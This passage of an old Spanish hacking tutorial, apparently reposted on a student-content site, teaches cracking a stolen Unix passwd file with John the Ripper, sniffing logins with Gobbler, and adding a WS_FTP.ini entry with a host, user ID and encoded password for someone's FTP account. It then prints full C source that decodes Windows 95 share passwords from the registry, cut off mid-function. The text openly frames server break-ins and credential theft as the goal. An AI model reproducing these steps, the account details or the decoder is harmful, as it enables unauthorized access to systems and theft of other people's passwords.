    Cuando robemos un fichero passwd de un servidor, lo que tenemos que hacer es usar el John para sacar cuentas, pero no solo basta esto sino tambien necesitamos un buen diccionario y una combinacion de suerte y paciencia.

    Supongamos que ya tenemos todo (fichero passwd, John y un diccionario), entonces tenemos que abrir una ventana MS-DOS y llamar al John, si lo llamamos sin nigun parametro nos saldran un listado de opciones, esto seria asi:

    c:\>john

    Usage: john [flags] [passwd files]

    Flags:-pwfile:<file>[,..] specify passwd file(s)

    -wordfile:<file> -stdin wordlist mode, read words from <file> or stdin

    -rules enable rules for wordlist mode

    -incremental[:<mode>] incremental mode [using john.ini entry <mode>]

    -single single crack mode

    -external:<mode> external mode, using john.ini entry <mode>

    -restore[:<file>] restore session [from <file>]

    -makechars:<file> make a charset, <file> will be overwritten

    -show show cracked passwords

    -test perform a benchmark

    -users:<login|uid>[,..] crack this (these) user(s) only

    -shells:[!]<shell>[,..] crack users with this (these) shell(s) only

    -salts:[!]<count> crack salts with at least <count> accounts only

    -lamesalts assume plaintext passwords were used as salts

    -timeout:<time> abort session after a period of <time> minutes

    -list list each word

    -beep -quiet beep or don't beep when a password is found

    -noname -nohash don't use memory for login names or hash tables

    -des -md5 force DES or MD5 mode

    Veis? :), y como siempre no explicare que es cada opcion os lo dejo para que jugueis vosotros solitos!. Ahora, ya podemos crackear el fichero, para ello escogermos la opcion "single", ya que el john no nos pedira un fichero de diccionario, si fuese el caso que no tenemos, ponemos:

    c:\>john -single passwd

    Y el John se pondra a trabajar, cuando halla acabo creara un fichero llamado "John.pot" donde se almacenaran los passwords encriptados con su correspodiente passwords desencriptado (esta definicion no es del todo correcta pero es para que lo entendais) y ya tenemos unas cuentas de acceso al servidor.

    Este metodo va bien para la primera pasado con el John pero luego conviene usar un diccionario y con el diccionario seria de la siguiente manera:

    c:\>john -wordfile:spain.txt passwd

    El John seguiria el mismo proceso antes descrito, por supuesto si el fichero "John.pot" esta creado ya, les a¤adira los resultados obtenidos a este fichero, por cierto este fichero tiene atributo de solo lectura.

    Pues aqui se acaba la explicacion del John, que seguro que ya aprendereis a manejar correctamente. Referente a los diccionarios hay varias herramientas que corren bajo MS-DOS que crean diccionarios o tambien podeis buscar por Internet ya que hay varios web's llenos de diccionarios.

    5d. Gobbler v 2.1.

    Volvemos a la carga con otro programa que no es del win95 propiamente, pero es un sniffer que podemos usar bajo win95 en una red Ethernet. Un Sniffer para aquellos que no sepan, es un programa que captura los paquetes que pasan por una red y asi se pueden conseguir logins, passowrds u otro tipo de informacion que querramos, logicamente si los paquetes estan encriptados, esto dificultara el proceso, ya que habra que desencriptarlos si se puede.

    Como siempre abrimos una ventana y ejecutamos el programa de la siguiente manera:

    c:\>gobbler

    Y se activara el programa y veremos una serie de ventanas, en este punto, pulsamos el <ESC> y saldra una ventana con un menu. Ahora tenemos que configurar el programa para nuestra red, la verdad es que es muy sencillo de utilizar, con un poco de practica dominaremos este sniffer facilmente.

    Como sugerencia conviene leer el fichero de documentacion que trae, ya que explica como configurar el programa.

    5e. Modificando el WS_FTP.

    El famoso cliente ftp WS_FTP, se le puede a¤adir un host remoto el cual esconde mucho software interesante. Esta opcion no esta por defecto, simplemente hay que a¤adir una lineas en el fichero "WS_FTP.ini". Tenemos que añadir, al principio del fichero:

    [208.128.143.19]

    HOST=24.48.3.45

    UID=cmw

    PWD=636E79

    LMASK=

    RMASK=

    RETRIES=20

    PASVMODE=0

    COMMENT=

    Simple, verdad? Pues ahora cuando le digamos al cliente que se diriga al host 208.128.143.19 (que no es la dirrecion real, pero da igual). Pues que os divertais con esta cuenta :) y coged todo lo que podais, porque a saber cuanto tiempo estara vigente.

    5f. Sharepasswd.

    Este programa desencripta el passorwd de win95. Esta en lenguaje C, como supongo todo el mundo tiene que tener un compilador en C y si no ya estas buscando uno, que hay muchos y gratis por Internet. No veo la necesidad de explicaros el programa ya que tambien incluyo la explicacion del autor la cual esta muy bien, logicamente.

    /* This program takes an 'encrypted' Windows 95 share password and decrypts it

    * Look at:

    * HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan

    * to find a machine's shares. Within the data for each share are two

    * registry entries, Parm1enc and Parm2enc. Parm1enc is the "Full access"

    * password. Parm2enc is the "Read only" password.

    *

    * David Ross 2/9/96

    * snakey@cs.umd.edu

    *

    * Do not distribute this program for any commercial purpose without first

    * contacting me for permission.

    *

    * DO NOT USE THIS PROGRAM FOR ILLEGAL OR UNETHICAL PURPOSES!

    *

    * A technical description of the 'code' can be found later on in this

    * document.

    *

    * Oh yeah... a totally unsolicited self promotion here... If anyone has

    * a job for a junior year Computer Science student for summer '96, please

    * let me know! I'm familiar with Windows and Mac networking (especially

    * involving TCP/IP), fluent in C and C++, and working on becoming a

    * proficient Windows programmer.

    *

    */

    #include <stdio.h>

    #include <string.h>

    #define BUFFER 30

    int DecodeCharOne(unsigned char *);

    int DecodeCharTwo(unsigned char *);

    int DecodeCharThree(unsigned char *);

    int DecodeCharFour(unsigned char *);

    int DecodeCharFive(unsigned char *);

    int DecodeCharSix(unsigned char *);

    int DecodeCharSeven(unsigned char *);

    int DecodeCharEight(unsigned char *);

    main() {

    int i; /* Generic counter */

    int eocc = 0; /* Records if there has been an error */

    /* The following structure stores the encoded bytes. Decoded values

    * replace the encoded values as the decoding process moves along

    * The initial values show here are not used and are unimportant

    */

    unsigned char mybytes[] = { 0x15, 0xba, 0x6d, 0x86, 0x73, 0x89, 0xf4, 0x4a };

    unsigned short tempshort; /* Used as a go-between from sscanf() to

    mybytes[] so unaligned data accesses

    don't occur */

    int goupto = 0; /* Records how many characters there are to be decoded */

    /* The following code handles input */

    char inpt[BUFFER];

    char *inptptr;

    printf("Input the byte code in hex (ex: 76 d5 09 e3): ");

    fgets(inpt, BUFFER, stdin);

    inptptr = strtok(inpt, " ");

    if (inpt[0] != '\n')

    while ((inptptr != NULL) && (goupto < 8)) {

    sscanf(inptptr, "%hx", &tempshort);

    mybytes[goupto++] = tempshort;

    inptptr = strtok(NULL, " ");

    }

    /* Decode all the characters. I could have made this stop immediately

    * after an error has been found, but it really doesn't matter

    */

    if (!DecodeCharOne(&mybytes[0])) eocc = 1;

    if (!DecodeCharTwo(&mybytes[1])) eocc = 1;

    if (!DecodeCharThree(&mybytes[2])) eocc = 1;

    if (!DecodeCharFour(&mybytes[3])) eocc = 1;

    if (!DecodeCharFive(&mybytes[4])) eocc = 1;

    if (!DecodeCharSix(&mybytes[5])) eocc = 1;

    if (!DecodeCharSeven(&mybytes[6])) eocc = 1;

    if (!DecodeCharEight(&mybytes[7])) eocc = 1;

    /* If the password could be decoded, print it */

    if (eocc) printf("The encrypted password is invalid.\n");

    else {

    printf("The decoded password is: \"");

    for (i = 0; i < goupto; i++) printf("%c",mybytes[i]);

    printf("\"\n");

    }

    } /* End of main() */

    /*

    * I will document this function, but not the seven other functions

    * which decode the subsequent seven characters. All of these functions

    * are essentially the same. Multiple functions are necessary though

    * because each column of the password has a different set of encoding

    * patterns.

    *

    * The following section will attempt to explain the encoding scheme

    * for share passwords as stored in the Windows 95 registry. I will

    * try to explain this as clearly as I can, however I really have no

    * background in encryption. If you have any questions, please feel

    * free to send them to me at snakey@cs.umd.edu.

    *

    * First off, share passwords can be anywhere from one character to

    * eight. "Read only" passwords and "Full access" passwords both use

    * the same encoding scheme, and so they both can be decoded by this

    * program. There is a one-to-one relationship between the number of

    * characters in a password and the number of bytes in the encoded

    * password stored in the registry. In fact, each encoded byte directly

    * corresponds to the letter in the corresponding column of the

    * unencoded password! Ie: If I change a password "passwd" to "masswd",

    * only the first byte of the encrypted password will change. Knowing

    * this, it is easy to see that all that needs to be done to decode

    * the password is to find a mapping from an encoded byte to a decoded

    * letter. That's what this program does. Unfortunately, things get

    * a little tricky because a letter in the first column of a password

    * is encoded using a slightly different algorithm than a letter

    * in the second column, and so on.

    *

    * There is another complexity which we do not really need to worry

    * about to a great extent, but we still need to be aware of. Many

    * characters, when entered into a password, map to the same encoded

    * byte. The best example of this is that both 'A' and 'a' are the

    * same as far as share passwords are concerned. There are numerous

    * other examples of this, and this allows us to effectively limit the

    * range of characters we need to be able to decode. The range of

    * ASCII values we will have to be able to decode turns out to be

    * from 32 to 159. ASCII values higher than 159 tend to map to

    * encoded bytes which also represent more normal ASCII values. So

    * if a user manages to create a password with high ASCII values

    * in it, that password will still be decoded by this program.

    * Although the decoded password won't look the same as the original,

    * it will work just as well.

    *

    * With all of the preliminaries out of the way, I can now move on

    * to describing the mapping from an encoded byte to it's corresponding

    * ASCII value. I think the best way to describe this would be through

    * a picture of exactly how the characters from 32 to 63 are mapped

    * out in the code for the first letter in a password. This table goes

    * beyond the 80 column format maintained in the rest of this document,

    * but it is really the best solution. If the table below doesn't look

    * right, load this file up in a text editor that supports greater than

    * 80 columns.

    *

    * Encoded byte (hex) - 1F 1E 1D 1C 1B 1A 19 18 17 16 15 14 13 14 11 10

    0F OE 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00

    * ASCII value (decimal) - 42 43 40 41 46 47 44 45 34 35 32 33 38 39 36 37

    58 59 56 57 62 63 60 61 50 51 48 49 54 55 52 53

    * Pair # - |_6_| |_5_| |_8_| |_7_| |_2_| |_1_| |_4_| |_3_|

    |14_| |13_| |16_| |15_| |10_| |_9_| |12_| |11_|

    * Quad # - |__________2__________| |__________1__________|

    |__________3__________| |__________4__________|

    * 32 byte block # - |______________________________________________

    1______________________________________________|

    *

    * The "Pair #", "Quad #", and "32 byte block #" rows each are there to

    * make the general ordering of the code more visible. The first thing to

    * note is that the range of encoded byte values runs from 00 to 1f. This

    * will not always be the case for the first set of 32 characters. In

    * fact, the next set of 32 characters (ASCII 64 to ASCII 95) is not in

    * the range of 20 to 3f in encoded form. I never concerned myself with

    * predicting exactly where each of the four 32 byte ranges are aligned

    * within the range of 0 to 256. In my decoding scheme, I simply specify

    * the location of the first character in a 32 byte block (which I have

    * pre-determined via experimentation) and determine the locations of the

    * rest of the characters in the block relative to the inital value. This

    * amounts to a total of four hand-decoded characters for the entire code.

    *

    * From a starting point which is given (in this case the fact that ASCII

    * 32 is encoded as 0x15), my decoding scheme follows a pattern that is

    * probably already apparent to you if you have examined the above table

    * closely. First, if the encoded byte number is odd, it simple subtracts

    * one from this byte number to get the byte number of the encoded form of

    * the subsequent character. This is much more simple than it sounds.

    * As an example, given that the code for ASCII 32 is 0x15, the program

    * knows that the code for ASCII 33 must be 0x14. The tricky part is that

    * this is not always true for every code. Recall that there is a different

    * coding scheme for each of the 8 columns in a password, and that the above

    * table only describes the coding scheme for the first column. Other columns

    * reverse this relationship between the two ASCII values of a certain pair.

    *

    * Pairs are grouped into units of four, appearing in a predefined pattern.

    * In this case, the first pair (by first I mean the pair with the lowest

    * set of ASCII values) is put in the second slot of a quad (which contains

    * four pairs). The second pair is put in the first slot, the third is put

    * in the fourth quad, and the fourth is put in the third quad. This changes

    * depending on the specific code used (of the 8 possible).

    *

    * Quads also fill a block in the same manner, however the ordering is NOT

    * necessarily the same as the way pairs fit into quads! As I described

    * above, there are four blocks, and they fit into the entire range of

    * 128 values just as pairs fit into quads and quads fit into blocks,

    * via a pattern determined by whoever invented this encoding scheme. It

    * is important to realize that the range of 128 possible encoded

    * values can be anywhere within the range of 0 to 256. Ie: One block can

    * be positioned from 0x00 to 0x1f, while another block in the same code

    * can be positioned from 0xa0 to 0xbf.

    *

    * I realize that the above description is a bit complex, and it doesn't

    * really cover much of _how_ my program decodes the the encoded values.

    * If you honestly can't understand a word I've said, just go back to

    * the table and really take a long look at it. Print it out, put it

    * under your pillow when you go to sleep. Sooner or later the order

    * of it all will dawn on you and you should be able to step through

    * my code and see how it derives its answer, at least for the

    * DecodeCharOne() routine. Seven other tables (which I have rough

    * copies of here on notebook paper) were needed to come up with

    * the seven other decoders for the seven other character places.

    *

    */

    int DecodeCharOne(unsigned char *mychar) {

    int i = 0; /* Keeps track of the decoded character # minus 32 */

    int cletter = 1; /* Sets the current letter of the 8 char quad */

    int blockl1 = 1; /* Sets the current quad */

    int blockl2 = 1; /* Sets the current 32 char block */

    int retval = 1;

    /* We are on this col of the table: */

    unsigned char code = 0x15; /* The code for a space */

    /* This is the main loop. It walks through each decoded character, finds

    * its corresponding encoded value, and looks to see if that's the same as

    * the encoded value we are looking for. If it is, we have found our

    * decoded character!

    */

    while((i<256) && (code != *mychar)) {

    switch (cletter) {

    case 1:

    code--;

    cletter++;

    break;

    case 2:

    code += 3;

    cletter++;

    break;

    case 3:

    code--;

    cletter++;

    break;

    case 4:

    code -= 5;

    cletter++;

    break;

    case 5:

    code--;

    cletter++;

    break;

    case 6:

    code+=3;

    cletter++;

    break;

    case 7:

    code--;

    cletter++;

    break;

    case 8:

    cletter = 1;

    switch (blockl1) { /* After we hit character number 8, we have */

    case 1: /* to do a relative jump to the next quad */

    code += 11;

    blockl1++;

    break;

    case 2:

    code -= 21;

    blockl1++;

    break;

    case 3:

    code += 11;

    blockl1++;

    break;

    case 4:

    blockl1 = 1;

    switch (blockl2) { /* After we hit the last quad, we have to */

    case 1: /* jump to the next 32 character block. */

    code = 0x75;

    blockl2++;

    break;

    case 2:

    code = 0x55;

    blockl2++;

    break;

    case 3:

    code = 0xb5;

    blockl2++;

    break;

    case 4:

    code = 0x15;

    blockl2 = 1;

    break;

    }

    break;

    }

    break;

    }

    i++;

    }

    if (i == 256) retval = 0;

    else *mychar = i + 32;

    return retval;

    } /* End of DecodeCharOne() */

    int DecodeCharTwo(unsigned char *mychar) {

    int i = 0;

    int cletter = 1;

    int blockl1 = 1;

    int blockl2 = 1;

    int retval = 1;

    unsigned char code = 0xba; /* The code for a space */

    while((i<256) && (code != *mychar)) {

    switch (cletter) {

    case 1:

    code++;

    cletter++;

    break;

    case 2:

    code -= 3;

    cletter++;

    break;

    case 3:

    code++;

    cletter++;

    break;

    case 4:

    code += 5;

    cletter++;

    break;

    case 5:

    code++;

    cletter++;

    break;

    case 6:

    code -= 3;

    cletter++;

    break;

    case 7:

    code++;

    cletter++;

    break;

    case 8:

    cletter = 1;

    switch (blockl1) {

    case 1:

    code -= 11;

    blockl1++;

    break;

    case 2:

    code -= 11;

    blockl1++;

    break;

    case 3:

    code -= 11;

    blockl1++;

    break;

    case 4:

    blockl1 = 1;

    switch (blockl2) {

    case 1:

    code = 0xda;

    blockl2++;

    break;

    case 2:

    code = 0xfa;

    blockl2++;

    break;

    case 3:

    code = 0x1a;

    blockl2++;

    break;

    case 4:

    code = 0xba;

    blockl2 = 1;

    break;

    }

    break;

    }

    break;

    }

    i++;

    }

    if (i == 256) retval = 0;

    else *mychar = i + 32;

    return retval;

    } /* End of DecodeCharTwo() */

    int DecodeCharThree(unsigned char *mychar) {

    int i = 0;

    int cletter = 1;

    int blockl1 = 1;

    int blockl2 = 1;

    int retval = 1;

    unsigned char code = 0x6d; /* The code for a space */

    while((i<256) && (code != *mychar)) {

    switch (cletter) {

    case 1:

    code--;

    cletter++;

    break;

    case 2:

    code += 3;

    cletter++;

    break;

    case 3:

    code--;

    cletter++;

    break;

    case 4:

    code -= 5;

    cletter++;

    break;

    case 5:

    code--;

    cletter++;

    break;

    case 6:

    code += 3;

    cletter++;

    break;

    case 7:

    code--;

    cletter++;

    break;

    case 8:

    cletter = 1;

    switch (blockl1) {

    case 1:

    code -= 5;

    blockl1++;

    break;

    case 2:

    code += 27;

    blockl1++;

    break;

    case 3:

    code -= 5;

    blockl1++;

    break;

    case 4:

    blockl1 = 1;

    switch (blockl2) {

    case 1:

    code = 0x0d;

    blockl2++;

    break;

    case 2:

    code = 0x2d;

    blockl2++;

    break;

    case 3:

    code = 0xcd;

    blockl2++;

    break;

    case 4:

    code = 0x6d;

    blockl2 = 1;

    break;

    }

    break;

    }

    break;

    }

    i++;

    }

    if (i == 256) retval = 0;

    else *mychar = i + 32;

    return retval;

    } /* End of DecodeCharThree() */

    int DecodeCharFour(unsigned char *mychar) {

    int i = 0;

    int cletter = 1;

    int blockl1 = 1;

    int blockl2 = 1;

    int retval = 1;

    unsigned char code = 0x86; /* The code for a space */

    while((i<256) && (code != *mychar)) {

    switch (cletter) {

    case 1:

    code++;

    cletter++;

    break;

    case 2:

    code -= 3;

    cletter++;

    break;

    case 3:

    code++;

    cletter++;

    break;

    case 4:

    code -= 3;

    cletter++;

    break;

    case 5:

    code++;

    cletter++;

    break;

    case 6:

    code -= 3;

    cletter++;

    break;

    case 7:

    code++;

    cletter++;

    break;

    case 8:

    cletter = 1;

    switch (blockl1) {

    case 1:

    code += 13;

    blockl1++;

    break;

    case 2:

    code += 13;

    blockl1++;

    break;

    case 3:

    code += 13;

    blockl1++;

    break;

    case 4:

    blockl1 = 1;

    switch (blockl2) {

    case 1:

    code = 0xe6;

    blockl2++;

    break;

    case 2:

    code = 0xc6;

    blockl2++;

    break;

    case 3:

    code = 0x26;

    blockl2++;

    break;

    case 4:

    code = 0x86;

    blockl2 = 1;

    break;

    }

    break;

    }

    break;

    }

    i++;

    }

    if (i == 256) retval = 0;

    else *mychar = i + 32;

    return retval;

    } /* End of DecodeCharFour() */

    int DecodeCharFive(unsigned char *mychar) {

    int i = 0;

    int cletter = 1;

    int blockl1 = 1;

    int blockl2 = 1;

    int retval = 1;

    unsigned char code = 0x73; /* The code for a space */

    while((i<256) && (code != *mychar)) {

    switch (cletter) {

    case 1:

    code--;

    cletter++;

    break;

    case 2:

    code--;

    cletter++;

    break;

    case 3:

    code--;

    cletter++;

    break;

    case 4:

    code += 7;

    cletter++;

    break;

    case 5:

    code--;

    cletter++;

    break;

    case 6:

    code--;

    cletter++;

    break;

    case 7:

    code--;

    cletter++;

    break;

    case 8:

    cletter = 1;

    switch (blockl1) {

    case 1:

    code += 7;

    blockl1++;

    break;

    case 2:

    code -= 25;

    blockl1++;

    break;

    case 3:

    code += 7;

    blockl1++;

    break;

    case 4:

    blockl1 = 1;

    switch (blockl2) {

    case 1:

    code = 0x13;

    blockl2++;

    break;

    case 2:

    code = 0x33;

    blockl2++;

    break;

    case 3:

    code = 0x23;

    blockl2++;

    break;

    case 4:

    code = 0x73;

    blockl2 = 1;

    break;

    }

    break;

    }

    break;

    }

    i++;

    }

    if (i == 256) retval = 0;

    else *mychar = i + 32;

    return retval;

    } /* End of DecodeCharFive() */

    int DecodeCharSix(unsigned char *mychar) {

    int i = 0;

    int cletter = 1;

    int blockl1 = 1;

    int blockl2 = 1;

    int retval = 1;

    unsigned char code = 0x89; /* The code for a space */

    while((i<256) && (code != *mychar)) {

    switch (cletter) {

    case 1:

    code--;

    cletter++;

    break;

    case 2:

    code += 3;

    cletter++;

    break;

    case 3:

    code--;

    cletter++;

    break;

    case 4:

    code += 3;

    cletter++;

    break;

    case 5:

    code--;

    cletter++;

    break;

    case 6:

    code += 3;

    cletter++;

    break;

    case 7:

    code--;

    cletter++;

    break;

    case 8:

    cletter = 1;

    switch (blockl1) {

    case 1:

    code -= 13;

    blockl1++;

    break;

    case 2:

    code += 19;

    blockl1++;

    break;

    case 3:

    code -= 13;

    blockl1++;

    break;

    case 4:

    blockl1 = 1;

    switch (blockl2) {

    case 1:

    code = 0xe9;

    blockl2++;

    break;

    case 2:

    code = 0xc9;

    blockl2++;

    break;

    case 3:

    code = 0x29;

    blockl2++;

    break;

    case 4:

    code = 0x89;

    blockl2 = 1;

    break;

    }

    break;

    }

    break;

    }

    i++;

    }

    if (i == 256) retval = 0;

    else *mychar = i + 32;

    return retval;

    } /* End of DecodeCharSix() */

    int DecodeCharSeven(unsigned char *mychar) {

    int i = 0;

    int cletter = 1;

    int blockl1 = 1;

    int blockl2 = 1;

    int retval = 1;

    unsigned char code = 0xf4; /* The code for a space */

    while((i<256) && (code != *mychar)) {

    switch (cletter) {

    case 1:

    code++;

    cletter++;

    break;

    case 2:

    code++;

    cletter++;

    break;

    case 3:

    code++;

    cletter++;

    break;

    case 4:

    code -= 7;

    cletter++;

    break;

    case 5:

    code++;

    cletter++;

    break;

    case 6:

    code++;

    cletter++;

    break;

    case 7:

    code++;

    cletter++;

    break;

    case 8:

    cletter = 1;

    switch (blockl1) {

    case 1:

    code += 9;

    blockl1++;

    break;

    case 2:

    code -= 23;

    blockl1++;

    break;

    case 3:

    code += 9;

    blockl1++;

    break;

    case 4:

    blockl1 = 1;

    switch (blockl2) {

    case 1:

    code = 0x94;

    blockl2++;

    break;

    case 2:

    code = 0xb4;

    blockl2++;

    break;

    case 3:

    code = 0x54;

    blockl2++;

    break;

    case 4:

    code = 0xf4;

    blockl2 = 1;

    break;

    }

    break;

    }

    break;

    }

    i++;

    }

    if (i == 256) retval = 0;

    else *mychar = i + 32;

    return retval;

    } /* End of DecodeCharSeven() */

    int DecodeCharEight(unsigned char *mychar) {

    int i = 0;

    int cletter = 1;

    int blockl1 = 1;

    int blockl2 = 1;

    int retval = 1;

    unsigned char code = 0x4a; /* The code for a space */

    while((i<256) && (code != *mychar)) {

    switch (cletter) {

    case 1:

    code++;

    cletter++;

    break;

    case 2:

    code -= 3;

    cletter++;

    break;

    case 3:

    code++;

    cletter++;

    break;

    case 4:

    code += 5;

    cletter++;

    break;

    case 5:

    code++;

    cletter++;

    break;

    case 6:

    code -= 3;

    cletter++;

    break

    Votar

    Ingresar una calificación para del 1 al 10, siendo 10 el máximo puntaje.

    Para que la votación no tenga fraude, solo se podrá votar una vez este recurso.

    Comentarios de los usuarios


    Agregar un comentario:


    Nombre y apellido:

    E-Mail:

    Asunto:

    Opinión:



    Aún no hay comentarios para este recurso.
     
    Sobre ALIPSO.COM

    Monografias, Exámenes, Universidades, Terciarios, Carreras, Cursos, Donde Estudiar, Que Estudiar y más: Desde 1999 brindamos a los estudiantes y docentes un lugar para publicar contenido educativo y nutrirse del conocimiento.

    Contacto »
    Contacto

    Teléfono: +54 (011) 3535-7242
    Email:

    Formulario de Contacto Online »